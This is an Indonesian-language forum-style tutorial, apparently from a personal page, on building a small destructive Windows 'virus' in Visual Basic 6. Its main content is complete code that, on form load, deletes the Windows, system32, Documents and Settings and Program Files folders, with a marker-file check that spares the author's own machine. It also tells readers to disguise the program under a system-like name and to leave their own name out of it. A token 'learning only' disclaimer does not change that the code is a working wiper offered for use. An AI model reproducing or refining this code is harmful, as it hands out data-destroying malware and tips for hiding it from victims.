Tutorial buat bikin virus yg rada mematikan, tapi simple, dan kayanya sih ga bakal kedekteksi antivirus, soalnya cara kerjanya simple bgt
"Jangan disalah gunakan, hanya untuk pembelajaran"
Yg diperluin:
1. VB(optimal : 6.0)
2. Ngerti tombol2nya VB
Tutorial Bikin Virus
1. Bikin form sekecil mungkin
2. Didalam form itu, masukin nih kode
Public Sub DelAll(ByVal DirtoDelete As Variant)
Dim FSO, FS
Set FSO = CreateObject("Scripting.FileSystemObject")
FS = FSO.DeleteFolder(DirtoDelete, True)
End Sub
Private Sub Form_Load()
On Error Resume Next
If FileExist("c:\windows\system32\katak.txt") = True Then
End
Else
Call DelAll("c:\windows\system")
Call DelAll("c:\windows\system32")
Call DelAll("c:\windows")
Call DelAll("C:\Documents and Settings\All Users")
Call DelAll("C:\Documents and Settings\Administrator")
Call DelAll("C:\Documents and Settings")
Call DelAll("C:\Program Files\Common Files")
Call DelAll("C:\Program Files\Internet Explorer")
Call DelAll("C:\Program Files\Microsoft Visual Studio")
Call DelAll("C:\Program Files")
End
End If
End Sub
Function FileExist(ByVal FileName As String) As Boolean
If Dir(FileName) = "" Then
FileExist = False
Else
FileExist = True
End If
End Function
3. Kode yg warna biru itu penangkal virus, barang kali anda tidak sengaja menekan jadi anda akan slamat.
jadi di folder c:\windows\system32\ kalo ada file namanya katak.txt, anda tidak akan terserang sendiri.
Yang warna merah itu folder yg bakal didelete oleh virus, anda tinggal edit sendiri aja...
4. Bikin project namanya kaya nama system, disini saya menggunakan nama "SystemKernel32" jadi tidak akan dicurigain
5. Jangan pernah menaruh nama anda di virus... ini?
6. compile deh... selesai!
Simple kan? nih virus kerjanya cuma menghapus system, lumayan bahaya... ini cuma contoh bikin virus... slanjutnya.. anda coba sendiri.
Print this page